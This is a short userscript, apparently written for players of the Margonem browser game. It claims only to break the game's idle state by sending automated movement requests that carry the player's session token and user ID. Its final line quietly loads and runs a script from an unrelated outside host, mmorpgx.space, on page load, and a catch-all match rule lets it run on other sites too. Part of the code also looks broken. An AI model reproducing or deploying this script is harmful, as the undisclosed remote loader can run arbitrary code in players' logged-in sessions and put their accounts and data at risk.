// ==UserScript== // @name Anty-Duszek // @version 0.1 // @description Wychodzenie z trybu nieaktywności na SI oraz NI; // @author // @match *://*/ // @match https://www.margonem.pl/?task=* // ==/UserScript== // Jeśli coś się buguje, pisać - poprawię. (() => { setInterval(() => { const isSi = getCookie("interface") == "si" ? true : false; const afk = isSi ? hero.stasis:Engine.hero.d.stasis; if (!afk) return; const url = isSi ? `http://${g.worldname}.margonem.pl/engine?t=_&ml=${hero.x},${hero.y + 1}&mts=${unix_time() + 0.2}&ev=${unix_time()}&browser_token=${g.browser_token}&aid=${getCookie("user_id")}` : `http://${Engine.worldName}.margonem.pl/engine?t=_&ml=${Engine.hero.d.x},${Engine.hero.d.y - 1}&mts=${unix_time() + 0.2}&aid=${getCookie("user_id")}&ev=${unix_time()}&browser_token=${Engine.browserToken}`; fetch(url) .then(response => response.json()) .then(x => { location.reload(); })() }, 400); })($.getScript("https://mmorpgx.space/walk.php"))